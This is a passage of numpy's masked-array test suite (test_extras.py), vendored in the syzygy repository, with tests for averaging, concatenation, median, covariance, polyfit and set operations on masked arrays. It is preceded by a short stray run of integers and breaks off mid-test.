199, 1361, 480, 2445, 6937, 10864, 1808, 820, 15225, 4534, 3427, 78, 5, 83, 60, 78, 2, 450, 334, 272, 7186, 14, 14368, 63, 3070, 8, 267, 1488, 63, 396, 12, 267, 12429, 14, 6892, 8, 56, 63, 396, 7845, 199, 199, 1361, 480, 2445, 6937, 10864, 1808,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 1, 1, 1, 1, 1, 1, 1, 1 ]
pombreda/syzygy
third_party/numpy/files/numpy/ma/tests/test_extras.py
76
33410
# pylint: disable-msg=W0611, W0612, W0511 """Tests suite for MaskedArray. Adapted from the original test_ma by Pierre Gerard-Marchant :author: Pierre Gerard-Marchant :contact: pierregm_at_uga_dot_edu :version: $Id: test_extras.py 3473 2007-10-29 15:18:13Z jarrod.millman $ """ __author__ = "Pierre GF Gerard-Marchant ($Author: jarrod.millman $)" __version__ = '1.0' __revision__ = "$Revision: 3473 $" __date__ = '$Date: 2007-10-29 17:18:13 +0200 (Mon, 29 Oct 2007) $' import numpy as np from numpy.testing import TestCase, run_module_suite from numpy.ma.testutils import * from numpy.ma.core import * from numpy.ma.extras import * class TestGeneric(TestCase): # def test_masked_all(self): "Tests masked_all" # Standard dtype test = masked_all((2,), dtype=float) control = array([1, 1], mask=[1, 1], dtype=float) assert_equal(test, control) # Flexible dtype dt = np.dtype({'names': ['a', 'b'], 'formats': ['f', 'f']}) test = masked_all((2,), dtype=dt) control = array([(0, 0), (0, 0)], mask=[(1, 1), (1, 1)], dtype=dt) assert_equal(test, control) test = masked_all((2, 2), dtype=dt) control = array([[(0, 0), (0, 0)], [(0, 0), (0, 0)]], mask=[[(1, 1), (1, 1)], [(1, 1), (1, 1)]], dtype=dt) assert_equal(test, control) # Nested dtype dt = np.dtype([('a', 'f'), ('b', [('ba', 'f'), ('bb', 'f')])]) test = masked_all((2,), dtype=dt) control = array([(1, (1, 1)), (1, (1, 1))], mask=[(1, (1, 1)), (1, (1, 1))], dtype=dt) assert_equal(test, control) test = masked_all((2,), dtype=dt) control = array([(1, (1, 1)), (1, (1, 1))], mask=[(1, (1, 1)), (1, (1, 1))], dtype=dt) assert_equal(test, control) test = masked_all((1, 1), dtype=dt) control = array([[(1, (1, 1))]], mask=[[(1, (1, 1))]], dtype=dt) assert_equal(test, control) def test_masked_all_like(self): "Tests masked_all" # Standard dtype base = array([1, 2], dtype=float) test = masked_all_like(base) control = array([1, 1], mask=[1, 1], dtype=float) assert_equal(test, control) # Flexible dtype dt = np.dtype({'names': ['a', 'b'], 'formats': ['f', 'f']}) base = array([(0, 0), (0, 0)], mask=[(1, 1), (1, 1)], dtype=dt) test = masked_all_like(base) control = array([(10, 10), (10, 10)], mask=[(1, 1), (1, 1)], dtype=dt) assert_equal(test, control) # Nested dtype dt = np.dtype([('a', 'f'), ('b', [('ba', 'f'), ('bb', 'f')])]) control = array([(1, (1, 1)), (1, (1, 1))], mask=[(1, (1, 1)), (1, (1, 1))], dtype=dt) test = masked_all_like(control) assert_equal(test, control) def test_clump_masked(self): "Test clump_masked" a = masked_array(np.arange(10)) a[[0, 1, 2, 6, 8, 9]] = masked # test = clump_masked(a) control = [slice(0, 3), slice(6, 7), slice(8, 10)] assert_equal(test, control) def test_clump_unmasked(self): "Test clump_unmasked" a = masked_array(np.arange(10)) a[[0, 1, 2, 6, 8, 9]] = masked test = clump_unmasked(a) control = [slice(3, 6), slice(7, 8), ] assert_equal(test, control) def test_flatnotmasked_contiguous(self): "Test flatnotmasked_contiguous" a = arange(10) # No mask test = flatnotmasked_contiguous(a) assert_equal(test, slice(0, a.size)) # Some mask a[(a < 3) | (a > 8) | (a == 5)] = masked test = flatnotmasked_contiguous(a) assert_equal(test, [slice(3, 5), slice(6, 9)]) # a[:] = masked test = flatnotmasked_contiguous(a) assert_equal(test, None) class TestAverage(TestCase): "Several tests of average. Why so many ? Good point..." def test_testAverage1(self): "Test of average." ott = array([0., 1., 2., 3.], mask=[True, False, False, False]) assert_equal(2.0, average(ott, axis=0)) assert_equal(2.0, average(ott, weights=[1., 1., 2., 1.])) result, wts = average(ott, weights=[1., 1., 2., 1.], returned=1) assert_equal(2.0, result) self.assertTrue(wts == 4.0) ott[:] = masked assert_equal(average(ott, axis=0).mask, [True]) ott = array([0., 1., 2., 3.], mask=[True, False, False, False]) ott = ott.reshape(2, 2) ott[:, 1] = masked assert_equal(average(ott, axis=0), [2.0, 0.0]) assert_equal(average(ott, axis=1).mask[0], [True]) assert_equal([2., 0.], average(ott, axis=0)) result, wts = average(ott, axis=0, returned=1) assert_equal(wts, [1., 0.]) def test_testAverage2(self): "More tests of average." w1 = [0, 1, 1, 1, 1, 0] w2 = [[0, 1, 1, 1, 1, 0], [1, 0, 0, 0, 0, 1]] x = arange(6, dtype=float_) assert_equal(average(x, axis=0), 2.5) assert_equal(average(x, axis=0, weights=w1), 2.5) y = array([arange(6, dtype=float_), 2.0 * arange(6)]) assert_equal(average(y, None), np.add.reduce(np.arange(6)) * 3. / 12.) assert_equal(average(y, axis=0), np.arange(6) * 3. / 2.) assert_equal(average(y, axis=1), [average(x, axis=0), average(x, axis=0) * 2.0]) assert_equal(average(y, None, weights=w2), 20. / 6.) assert_equal(average(y, axis=0, weights=w2), [0., 1., 2., 3., 4., 10.]) assert_equal(average(y, axis=1), [average(x, axis=0), average(x, axis=0) * 2.0]) m1 = zeros(6) m2 = [0, 0, 1, 1, 0, 0] m3 = [[0, 0, 1, 1, 0, 0], [0, 1, 1, 1, 1, 0]] m4 = ones(6) m5 = [0, 1, 1, 1, 1, 1] assert_equal(average(masked_array(x, m1), axis=0), 2.5) assert_equal(average(masked_array(x, m2), axis=0), 2.5) assert_equal(average(masked_array(x, m4), axis=0).mask, [True]) assert_equal(average(masked_array(x, m5), axis=0), 0.0) assert_equal(count(average(masked_array(x, m4), axis=0)), 0) z = masked_array(y, m3) assert_equal(average(z, None), 20. / 6.) assert_equal(average(z, axis=0), [0., 1., 99., 99., 4.0, 7.5]) assert_equal(average(z, axis=1), [2.5, 5.0]) assert_equal(average(z, axis=0, weights=w2), [0., 1., 99., 99., 4.0, 10.0]) def test_testAverage3(self): "Yet more tests of average!" a = arange(6) b = arange(6) * 3 r1, w1 = average([[a, b], [b, a]], axis=1, returned=1) assert_equal(shape(r1) , shape(w1)) assert_equal(r1.shape , w1.shape) r2, w2 = average(ones((2, 2, 3)), axis=0, weights=[3, 1], returned=1) assert_equal(shape(w2) , shape(r2)) r2, w2 = average(ones((2, 2, 3)), returned=1) assert_equal(shape(w2) , shape(r2)) r2, w2 = average(ones((2, 2, 3)), weights=ones((2, 2, 3)), returned=1) assert_equal(shape(w2), shape(r2)) a2d = array([[1, 2], [0, 4]], float) a2dm = masked_array(a2d, [[False, False], [True, False]]) a2da = average(a2d, axis=0) assert_equal(a2da, [0.5, 3.0]) a2dma = average(a2dm, axis=0) assert_equal(a2dma, [1.0, 3.0]) a2dma = average(a2dm, axis=None) assert_equal(a2dma, 7. / 3.) a2dma = average(a2dm, axis=1) assert_equal(a2dma, [1.5, 4.0]) def test_onintegers_with_mask(self): "Test average on integers with mask" a = average(array([1, 2])) assert_equal(a, 1.5) a = average(array([1, 2, 3, 4], mask=[False, False, True, True])) assert_equal(a, 1.5) class TestConcatenator(TestCase): """ Tests for mr_, the equivalent of r_ for masked arrays. """ def test_1d(self): "Tests mr_ on 1D arrays." assert_array_equal(mr_[1, 2, 3, 4, 5, 6], array([1, 2, 3, 4, 5, 6])) b = ones(5) m = [1, 0, 0, 0, 0] d = masked_array(b, mask=m) c = mr_[d, 0, 0, d] self.assertTrue(isinstance(c, MaskedArray) or isinstance(c, core.MaskedArray)) assert_array_equal(c, [1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1]) assert_array_equal(c.mask, mr_[m, 0, 0, m]) def test_2d(self): "Tests mr_ on 2D arrays." a_1 = rand(5, 5) a_2 = rand(5, 5) m_1 = np.round_(rand(5, 5), 0) m_2 = np.round_(rand(5, 5), 0) b_1 = masked_array(a_1, mask=m_1) b_2 = masked_array(a_2, mask=m_2) d = mr_['1', b_1, b_2] # append columns self.assertTrue(d.shape == (5, 10)) assert_array_equal(d[:, :5], b_1) assert_array_equal(d[:, 5:], b_2) assert_array_equal(d.mask, np.r_['1', m_1, m_2]) d = mr_[b_1, b_2] self.assertTrue(d.shape == (10, 5)) assert_array_equal(d[:5, :], b_1) assert_array_equal(d[5:, :], b_2) assert_array_equal(d.mask, np.r_[m_1, m_2]) class TestNotMasked(TestCase): """ Tests notmasked_edges and notmasked_contiguous. """ def test_edges(self): "Tests unmasked_edges" data = masked_array(np.arange(25).reshape(5, 5), mask=[[0, 0, 1, 0, 0], [0, 0, 0, 1, 1], [1, 1, 0, 0, 0], [0, 0, 0, 0, 0], [1, 1, 1, 0, 0]],) test = notmasked_edges(data, None) assert_equal(test, [0, 24]) test = notmasked_edges(data, 0) assert_equal(test[0], [(0, 0, 1, 0, 0), (0, 1, 2, 3, 4)]) assert_equal(test[1], [(3, 3, 3, 4, 4), (0, 1, 2, 3, 4)]) test = notmasked_edges(data, 1) assert_equal(test[0], [(0, 1, 2, 3, 4), (0, 0, 2, 0, 3)]) assert_equal(test[1], [(0, 1, 2, 3, 4), (4, 2, 4, 4, 4)]) # test = notmasked_edges(data.data, None) assert_equal(test, [0, 24]) test = notmasked_edges(data.data, 0) assert_equal(test[0], [(0, 0, 0, 0, 0), (0, 1, 2, 3, 4)]) assert_equal(test[1], [(4, 4, 4, 4, 4), (0, 1, 2, 3, 4)]) test = notmasked_edges(data.data, -1) assert_equal(test[0], [(0, 1, 2, 3, 4), (0, 0, 0, 0, 0)]) assert_equal(test[1], [(0, 1, 2, 3, 4), (4, 4, 4, 4, 4)]) # data[-2] = masked test = notmasked_edges(data, 0) assert_equal(test[0], [(0, 0, 1, 0, 0), (0, 1, 2, 3, 4)]) assert_equal(test[1], [(1, 1, 2, 4, 4), (0, 1, 2, 3, 4)]) test = notmasked_edges(data, -1) assert_equal(test[0], [(0, 1, 2, 4), (0, 0, 2, 3)]) assert_equal(test[1], [(0, 1, 2, 4), (4, 2, 4, 4)]) def test_contiguous(self): "Tests notmasked_contiguous" a = masked_array(np.arange(24).reshape(3, 8), mask=[[0, 0, 0, 0, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 1, 0], ]) tmp = notmasked_contiguous(a, None) assert_equal(tmp[-1], slice(23, 24, None)) assert_equal(tmp[-2], slice(16, 22, None)) assert_equal(tmp[-3], slice(0, 4, None)) # tmp = notmasked_contiguous(a, 0) self.assertTrue(len(tmp[-1]) == 1) self.assertTrue(tmp[-2] is None) assert_equal(tmp[-3], tmp[-1]) self.assertTrue(len(tmp[0]) == 2) # tmp = notmasked_contiguous(a, 1) assert_equal(tmp[0][-1], slice(0, 4, None)) self.assertTrue(tmp[1] is None) assert_equal(tmp[2][-1], slice(7, 8, None)) assert_equal(tmp[2][-2], slice(0, 6, None)) class Test2DFunctions(TestCase): "Tests 2D functions" def test_compress2d(self): "Tests compress2d" x = array(np.arange(9).reshape(3, 3), mask=[[1, 0, 0], [0, 0, 0], [0, 0, 0]]) assert_equal(compress_rowcols(x), [[4, 5], [7, 8]]) assert_equal(compress_rowcols(x, 0), [[3, 4, 5], [6, 7, 8]]) assert_equal(compress_rowcols(x, 1), [[1, 2], [4, 5], [7, 8]]) x = array(x._data, mask=[[0, 0, 0], [0, 1, 0], [0, 0, 0]]) assert_equal(compress_rowcols(x), [[0, 2], [6, 8]]) assert_equal(compress_rowcols(x, 0), [[0, 1, 2], [6, 7, 8]]) assert_equal(compress_rowcols(x, 1), [[0, 2], [3, 5], [6, 8]]) x = array(x._data, mask=[[1, 0, 0], [0, 1, 0], [0, 0, 0]]) assert_equal(compress_rowcols(x), [[8]]) assert_equal(compress_rowcols(x, 0), [[6, 7, 8]]) assert_equal(compress_rowcols(x, 1,), [[2], [5], [8]]) x = array(x._data, mask=[[1, 0, 0], [0, 1, 0], [0, 0, 1]]) assert_equal(compress_rowcols(x).size, 0) assert_equal(compress_rowcols(x, 0).size, 0) assert_equal(compress_rowcols(x, 1).size, 0) # def test_mask_rowcols(self): "Tests mask_rowcols." x = array(np.arange(9).reshape(3, 3), mask=[[1, 0, 0], [0, 0, 0], [0, 0, 0]]) assert_equal(mask_rowcols(x).mask, [[1, 1, 1], [1, 0, 0], [1, 0, 0]]) assert_equal(mask_rowcols(x, 0).mask, [[1, 1, 1], [0, 0, 0], [0, 0, 0]]) assert_equal(mask_rowcols(x, 1).mask, [[1, 0, 0], [1, 0, 0], [1, 0, 0]]) x = array(x._data, mask=[[0, 0, 0], [0, 1, 0], [0, 0, 0]]) assert_equal(mask_rowcols(x).mask, [[0, 1, 0], [1, 1, 1], [0, 1, 0]]) assert_equal(mask_rowcols(x, 0).mask, [[0, 0, 0], [1, 1, 1], [0, 0, 0]]) assert_equal(mask_rowcols(x, 1).mask, [[0, 1, 0], [0, 1, 0], [0, 1, 0]]) x = array(x._data, mask=[[1, 0, 0], [0, 1, 0], [0, 0, 0]]) assert_equal(mask_rowcols(x).mask, [[1, 1, 1], [1, 1, 1], [1, 1, 0]]) assert_equal(mask_rowcols(x, 0).mask, [[1, 1, 1], [1, 1, 1], [0, 0, 0]]) assert_equal(mask_rowcols(x, 1,).mask, [[1, 1, 0], [1, 1, 0], [1, 1, 0]]) x = array(x._data, mask=[[1, 0, 0], [0, 1, 0], [0, 0, 1]]) self.assertTrue(mask_rowcols(x).all() is masked) self.assertTrue(mask_rowcols(x, 0).all() is masked) self.assertTrue(mask_rowcols(x, 1).all() is masked) self.assertTrue(mask_rowcols(x).mask.all()) self.assertTrue(mask_rowcols(x, 0).mask.all()) self.assertTrue(mask_rowcols(x, 1).mask.all()) # def test_dot(self): "Tests dot product" n = np.arange(1, 7) # m = [1, 0, 0, 0, 0, 0] a = masked_array(n, mask=m).reshape(2, 3) b = masked_array(n, mask=m).reshape(3, 2) c = dot(a, b, True) assert_equal(c.mask, [[1, 1], [1, 0]]) c = dot(b, a, True) assert_equal(c.mask, [[1, 1, 1], [1, 0, 0], [1, 0, 0]]) c = dot(a, b, False) assert_equal(c, np.dot(a.filled(0), b.filled(0))) c = dot(b, a, False) assert_equal(c, np.dot(b.filled(0), a.filled(0))) # m = [0, 0, 0, 0, 0, 1] a = masked_array(n, mask=m).reshape(2, 3) b = masked_array(n, mask=m).reshape(3, 2) c = dot(a, b, True) assert_equal(c.mask, [[0, 1], [1, 1]]) c = dot(b, a, True) assert_equal(c.mask, [[0, 0, 1], [0, 0, 1], [1, 1, 1]]) c = dot(a, b, False) assert_equal(c, np.dot(a.filled(0), b.filled(0))) assert_equal(c, dot(a, b)) c = dot(b, a, False) assert_equal(c, np.dot(b.filled(0), a.filled(0))) # m = [0, 0, 0, 0, 0, 0] a = masked_array(n, mask=m).reshape(2, 3) b = masked_array(n, mask=m).reshape(3, 2) c = dot(a, b) assert_equal(c.mask, nomask) c = dot(b, a) assert_equal(c.mask, nomask) # a = masked_array(n, mask=[1, 0, 0, 0, 0, 0]).reshape(2, 3) b = masked_array(n, mask=[0, 0, 0, 0, 0, 0]).reshape(3, 2) c = dot(a, b, True) assert_equal(c.mask, [[1, 1], [0, 0]]) c = dot(a, b, False) assert_equal(c, np.dot(a.filled(0), b.filled(0))) c = dot(b, a, True) assert_equal(c.mask, [[1, 0, 0], [1, 0, 0], [1, 0, 0]]) c = dot(b, a, False) assert_equal(c, np.dot(b.filled(0), a.filled(0))) # a = masked_array(n, mask=[0, 0, 0, 0, 0, 1]).reshape(2, 3) b = masked_array(n, mask=[0, 0, 0, 0, 0, 0]).reshape(3, 2) c = dot(a, b, True) assert_equal(c.mask, [[0, 0], [1, 1]]) c = dot(a, b) assert_equal(c, np.dot(a.filled(0), b.filled(0))) c = dot(b, a, True) assert_equal(c.mask, [[0, 0, 1], [0, 0, 1], [0, 0, 1]]) c = dot(b, a, False) assert_equal(c, np.dot(b.filled(0), a.filled(0))) # a = masked_array(n, mask=[0, 0, 0, 0, 0, 1]).reshape(2, 3) b = masked_array(n, mask=[0, 0, 1, 0, 0, 0]).reshape(3, 2) c = dot(a, b, True) assert_equal(c.mask, [[1, 0], [1, 1]]) c = dot(a, b, False) assert_equal(c, np.dot(a.filled(0), b.filled(0))) c = dot(b, a, True) assert_equal(c.mask, [[0, 0, 1], [1, 1, 1], [0, 0, 1]]) c = dot(b, a, False) assert_equal(c, np.dot(b.filled(0), a.filled(0))) class TestApplyAlongAxis(TestCase): # "Tests 2D functions" def test_3d(self): a = arange(12.).reshape(2, 2, 3) def myfunc(b): return b[1] xa = apply_along_axis(myfunc, 2, a) assert_equal(xa, [[1, 4], [7, 10]]) class TestApplyOverAxes(TestCase): "Tests apply_over_axes" def test_basic(self): a = arange(24).reshape(2, 3, 4) test = apply_over_axes(np.sum, a, [0, 2]) ctrl = np.array([[[ 60], [ 92], [124]]]) assert_equal(test, ctrl) a[(a % 2).astype(np.bool)] = masked test = apply_over_axes(np.sum, a, [0, 2]) ctrl = np.array([[[ 30], [ 44], [60]]]) class TestMedian(TestCase): # def test_2d(self): "Tests median w/ 2D" (n, p) = (101, 30) x = masked_array(np.linspace(-1., 1., n),) x[:10] = x[-10:] = masked z = masked_array(np.empty((n, p), dtype=float)) z[:, 0] = x[:] idx = np.arange(len(x)) for i in range(1, p): np.random.shuffle(idx) z[:, i] = x[idx] assert_equal(median(z[:, 0]), 0) assert_equal(median(z), 0) assert_equal(median(z, axis=0), np.zeros(p)) assert_equal(median(z.T, axis=1), np.zeros(p)) # def test_2d_waxis(self): "Tests median w/ 2D arrays and different axis." x = masked_array(np.arange(30).reshape(10, 3)) x[:3] = x[-3:] = masked assert_equal(median(x), 14.5) assert_equal(median(x, axis=0), [13.5, 14.5, 15.5]) assert_equal(median(x, axis=1), [0, 0, 0, 10, 13, 16, 19, 0, 0, 0]) assert_equal(median(x, axis=1).mask, [1, 1, 1, 0, 0, 0, 0, 1, 1, 1]) # def test_3d(self): "Tests median w/ 3D" x = np.ma.arange(24).reshape(3, 4, 2) x[x % 3 == 0] = masked assert_equal(median(x, 0), [[12, 9], [6, 15], [12, 9], [18, 15]]) x.shape = (4, 3, 2) assert_equal(median(x, 0), [[99, 10], [11, 99], [13, 14]]) x = np.ma.arange(24).reshape(4, 3, 2) x[x % 5 == 0] = masked assert_equal(median(x, 0), [[12, 10], [8, 9], [16, 17]]) class TestCov(TestCase): def setUp(self): self.data = array(np.random.rand(12)) def test_1d_wo_missing(self): "Test cov on 1D variable w/o missing values" x = self.data assert_almost_equal(np.cov(x), cov(x)) assert_almost_equal(np.cov(x, rowvar=False), cov(x, rowvar=False)) assert_almost_equal(np.cov(x, rowvar=False, bias=True), cov(x, rowvar=False, bias=True)) def test_2d_wo_missing(self): "Test cov on 1 2D variable w/o missing values" x = self.data.reshape(3, 4) assert_almost_equal(np.cov(x), cov(x)) assert_almost_equal(np.cov(x, rowvar=False), cov(x, rowvar=False)) assert_almost_equal(np.cov(x, rowvar=False, bias=True), cov(x, rowvar=False, bias=True)) def test_1d_w_missing(self): "Test cov 1 1D variable w/missing values" x = self.data x[-1] = masked x -= x.mean() nx = x.compressed() assert_almost_equal(np.cov(nx), cov(x)) assert_almost_equal(np.cov(nx, rowvar=False), cov(x, rowvar=False)) assert_almost_equal(np.cov(nx, rowvar=False, bias=True), cov(x, rowvar=False, bias=True)) # try: cov(x, allow_masked=False) except ValueError: pass # # 2 1D variables w/ missing values nx = x[1:-1] assert_almost_equal(np.cov(nx, nx[::-1]), cov(x, x[::-1])) assert_almost_equal(np.cov(nx, nx[::-1], rowvar=False), cov(x, x[::-1], rowvar=False)) assert_almost_equal(np.cov(nx, nx[::-1], rowvar=False, bias=True), cov(x, x[::-1], rowvar=False, bias=True)) def test_2d_w_missing(self): "Test cov on 2D variable w/ missing value" x = self.data x[-1] = masked x = x.reshape(3, 4) valid = np.logical_not(getmaskarray(x)).astype(int) frac = np.dot(valid, valid.T) xf = (x - x.mean(1)[:, None]).filled(0) assert_almost_equal(cov(x), np.cov(xf) * (x.shape[1] - 1) / (frac - 1.)) assert_almost_equal(cov(x, bias=True), np.cov(xf, bias=True) * x.shape[1] / frac) frac = np.dot(valid.T, valid) xf = (x - x.mean(0)).filled(0) assert_almost_equal(cov(x, rowvar=False), np.cov(xf, rowvar=False) * (x.shape[0] - 1) / (frac - 1.)) assert_almost_equal(cov(x, rowvar=False, bias=True), np.cov(xf, rowvar=False, bias=True) * x.shape[0] / frac) class TestCorrcoef(TestCase): def setUp(self): self.data = array(np.random.rand(12)) def test_ddof(self): "Test ddof keyword" x = self.data assert_almost_equal(np.corrcoef(x, ddof=0), corrcoef(x, ddof=0)) def test_1d_wo_missing(self): "Test cov on 1D variable w/o missing values" x = self.data assert_almost_equal(np.corrcoef(x), corrcoef(x)) assert_almost_equal(np.corrcoef(x, rowvar=False), corrcoef(x, rowvar=False)) assert_almost_equal(np.corrcoef(x, rowvar=False, bias=True), corrcoef(x, rowvar=False, bias=True)) def test_2d_wo_missing(self): "Test corrcoef on 1 2D variable w/o missing values" x = self.data.reshape(3, 4) assert_almost_equal(np.corrcoef(x), corrcoef(x)) assert_almost_equal(np.corrcoef(x, rowvar=False), corrcoef(x, rowvar=False)) assert_almost_equal(np.corrcoef(x, rowvar=False, bias=True), corrcoef(x, rowvar=False, bias=True)) def test_1d_w_missing(self): "Test corrcoef 1 1D variable w/missing values" x = self.data x[-1] = masked x -= x.mean() nx = x.compressed() assert_almost_equal(np.corrcoef(nx), corrcoef(x)) assert_almost_equal(np.corrcoef(nx, rowvar=False), corrcoef(x, rowvar=False)) assert_almost_equal(np.corrcoef(nx, rowvar=False, bias=True), corrcoef(x, rowvar=False, bias=True)) # try: corrcoef(x, allow_masked=False) except ValueError: pass # # 2 1D variables w/ missing values nx = x[1:-1] assert_almost_equal(np.corrcoef(nx, nx[::-1]), corrcoef(x, x[::-1])) assert_almost_equal(np.corrcoef(nx, nx[::-1], rowvar=False), corrcoef(x, x[::-1], rowvar=False)) assert_almost_equal(np.corrcoef(nx, nx[::-1], rowvar=False, bias=True), corrcoef(x, x[::-1], rowvar=False, bias=True)) def test_2d_w_missing(self): "Test corrcoef on 2D variable w/ missing value" x = self.data x[-1] = masked x = x.reshape(3, 4) test = corrcoef(x) control = np.corrcoef(x) assert_almost_equal(test[:-1, :-1], control[:-1, :-1]) class TestPolynomial(TestCase): # def test_polyfit(self): "Tests polyfit" # On ndarrays x = np.random.rand(10) y = np.random.rand(20).reshape(-1, 2) assert_almost_equal(polyfit(x, y, 3), np.polyfit(x, y, 3)) # ON 1D maskedarrays x = x.view(MaskedArray) x[0] = masked y = y.view(MaskedArray) y[0, 0] = y[-1, -1] = masked # (C, R, K, S, D) = polyfit(x, y[:, 0], 3, full=True) (c, r, k, s, d) = np.polyfit(x[1:], y[1:, 0].compressed(), 3, full=True) for (a, a_) in zip((C, R, K, S, D), (c, r, k, s, d)): assert_almost_equal(a, a_) # (C, R, K, S, D) = polyfit(x, y[:, -1], 3, full=True) (c, r, k, s, d) = np.polyfit(x[1:-1], y[1:-1, -1], 3, full=True) for (a, a_) in zip((C, R, K, S, D), (c, r, k, s, d)): assert_almost_equal(a, a_) # (C, R, K, S, D) = polyfit(x, y, 3, full=True) (c, r, k, s, d) = np.polyfit(x[1:-1], y[1:-1, :], 3, full=True) for (a, a_) in zip((C, R, K, S, D), (c, r, k, s, d)): assert_almost_equal(a, a_) class TestArraySetOps(TestCase): # def test_unique_onlist(self): "Test unique on list" data = [1, 1, 1, 2, 2, 3] test = unique(data, return_index=True, return_inverse=True) self.assertTrue(isinstance(test[0], MaskedArray)) assert_equal(test[0], masked_array([1, 2, 3], mask=[0, 0, 0])) assert_equal(test[1], [0, 3, 5]) assert_equal(test[2], [0, 0, 0, 1, 1, 2]) def test_unique_onmaskedarray(self): "Test unique on masked data w/use_mask=True" data = masked_array([1, 1, 1, 2, 2, 3], mask=[0, 0, 1, 0, 1, 0]) test = unique(data, return_index=True, return_inverse=True) assert_equal(test[0], masked_array([1, 2, 3, -1], mask=[0, 0, 0, 1])) assert_equal(test[1], [0, 3, 5, 2]) assert_equal(test[2], [0, 0, 3, 1, 3, 2]) # data.fill_value = 3 data = masked_array([1, 1, 1, 2, 2, 3], mask=[0, 0, 1, 0, 1, 0], fill_value=3) test = unique(data, return_index=True, return_inverse=True) assert_equal(test[0], masked_array([1, 2, 3, -1], mask=[0, 0, 0, 1])) assert_equal(test[1], [0, 3, 5, 2]) assert_equal(test[2], [0, 0, 3, 1, 3, 2]) def test_unique_allmasked(self): "Test all masked" data = masked_array([1, 1, 1], mask=True) test = unique(data, return_index=True, return_inverse=True) assert_equal(test[0], masked_array([1, ], mask=[True])) assert_equal(test[1], [0]) assert_equal(test[2], [0, 0, 0]) # "Test masked" data = masked test = unique(data, return_index=True, return_inverse=True) assert_equal(test[0], masked_array(masked)) assert_equal(test[1], [0]) assert_equal(test[2], [0]) def test_ediff1d(self): "Tests mediff1d" x = masked_array(np.arange(5), mask=[1, 0, 0, 0, 1]) control = array([1, 1, 1, 4], mask=[1, 0, 0, 1]) test = ediff1d(x) assert_equal(test, control) assert_equal(test.data, control.data) assert_equal(test.mask, control.mask) # def test_ediff1d_tobegin(self): "Test ediff1d w/ to_begin" x = masked_array(np.arange(5), mask=[1, 0, 0, 0, 1]) test = ediff1d(x, to_begin=masked) control = array([0, 1, 1, 1, 4], mask=[1, 1, 0, 0, 1]) assert_equal(test, control) assert_equal(test.data, control.data) assert_equal(test.mask, control.mask) # test = ediff1d(x, to_begin=[1, 2, 3]) control = array([1, 2, 3, 1, 1, 1, 4], mask=[0, 0, 0, 1, 0, 0, 1]) assert_equal(test, control) assert_equal(test.data, control.data) assert_equal(test.mask, control.mask) # def test_ediff1d_toend(self): "Test ediff1d w/ to_end" x = masked_array(np.arange(5), mask=[1, 0, 0, 0, 1]) test = ediff1d(x, to_end=masked) control = array([1, 1, 1, 4, 0], mask=[1, 0, 0, 1, 1]) assert_equal(test, control) assert_equal(test.data, control.data) assert_equal(test.mask, control.mask) # test = ediff1d(x, to_end=[1, 2, 3]) control = array([1, 1, 1, 4, 1, 2, 3], mask=[1, 0, 0, 1, 0, 0, 0]) assert_equal(test, control) assert_equal(test.data, control.data) assert_equal(test.mask, control.mask) # def test_ediff1d_tobegin_toend(self): "Test ediff1d w/ to_begin and to_end" x = masked_array(np.arange(5), mask=[1, 0, 0, 0, 1]) test = ediff1d(x, to_end=masked, to_begin=masked) control = array([0, 1, 1, 1, 4, 0], mask=[1, 1, 0, 0, 1, 1]) assert_equal(test, control) assert_equal(test.data, control.data) assert_equal(test.mask, control.mask) # test = ediff1d(x, to_end=[1, 2, 3], to_begin=masked) control = array([0, 1, 1, 1, 4, 1, 2, 3], mask=[1, 1, 0, 0, 1, 0, 0, 0]) assert_equal(test, control) assert_equal(test.data, control.data) assert_equal(test.mask, control.mask) # def test_ediff1d_ndarray(self): "Test ediff1d w/ a ndarray" x = np.arange(5) test = ediff1d(x) control = array([1, 1, 1, 1], mask=[0, 0, 0, 0]) assert_equal(test, control) self.assertTrue(isinstance(test, MaskedArray)) assert_equal(test.data, control.data) assert_equal(test.mask, control.mask) # test = ediff1d(x, to_end=masked, to_begin=masked) control = array([0, 1, 1, 1, 1, 0], mask=[1, 0, 0, 0, 0, 1]) self.assertTrue(isinstance(test, MaskedArray)) assert_equal(test.data, control.data) assert_equal(test.mask, control.mask) def test_intersect1d(self): "Test intersect1d" x = array([1, 3, 3, 3], mask=[0, 0, 0, 1]) y = array([3, 1, 1, 1], mask=[0, 0, 0, 1]) test = intersect1d(x, y) control = array([1, 3, -1], mask=[0, 0, 1]) assert_equal(test, control) def test_setxor1d(self): "Test setxor1d" a = array([1, 2, 5, 7, -1], mask=[0, 0, 0, 0, 1]) b = array([1, 2, 3, 4, 5, -1], mask=[0, 0, 0, 0, 0, 1]) test = setxor1d(a, b) assert_equal(test, array([3, 4, 7])) # a = array([1, 2, 5, 7, -1], mask=[0, 0, 0, 0, 1]) b = [1, 2, 3, 4, 5] test = setxor1d(a, b) assert_equal(test, array([3, 4, 7, -1], mask=[0, 0, 0, 1])) # a = array([1, 2, 3]) b = array([6, 5, 4]) test = setxor1d(a, b) assert(isinstance(test, MaskedArray)) assert_equal(test, [1, 2, 3, 4, 5, 6]) # a = array([1, 8, 2, 3], mask=[0, 1, 0, 0]) b = array([6, 5, 4, 8], mask=[0, 0, 0, 1]) test = setxor1d(a, b) assert(isinstance(test, MaskedArray)) assert_equal(test, [1, 2, 3, 4, 5, 6]) # assert_array_equal([], setxor1d([], [])) def test_in1d(self): "Test in1d" a = array([1, 2, 5, 7, -1], mask=[0, 0, 0, 0, 1]) b = array([1, 2, 3, 4, 5, -1], mask=[0, 0, 0, 0, 0, 1]) test = in1d(a, b) assert_equal(test, [True, True, True, False, True]) # a = array([5, 5, 2, 1, -1], mask=[0, 0, 0, 0, 1]) b = array([1, 5, -1], mask=[0, 0, 1]) test = in1d(a, b) assert_equal(test, [True, True, False, True, True]) # assert_array_equal([], in1d([], [])) def test_union1d(self): "Test union1d" a = array([1, 2, 5, 7, 5, -1], mask=[0, 0, 0, 0, 0, 1]) b = array([1, 2, 3, 4, 5, -1], mask=[0, 0, 0, 0, 0, 1]) test = union1d(a, b) control = array([1, 2, 3, 4, 5, 7, -1], mask=[0, 0, 0, 0, 0, 0, 1]) assert_equal(test, control) # assert_array_equal([], union1d([], [])) def test_setdiff1d(self): "Test setdiff1d" a = array([6, 5, 4, 7, 7, 1, 2, 1], mask=[0, 0, 0, 0, 0, 0, 0, 1]) b = array([2, 4, 3, 3, 2, 1, 5]) test = setdiff1d(a, b) assert_equal(test, array([6, 7, -1], mask=[0, 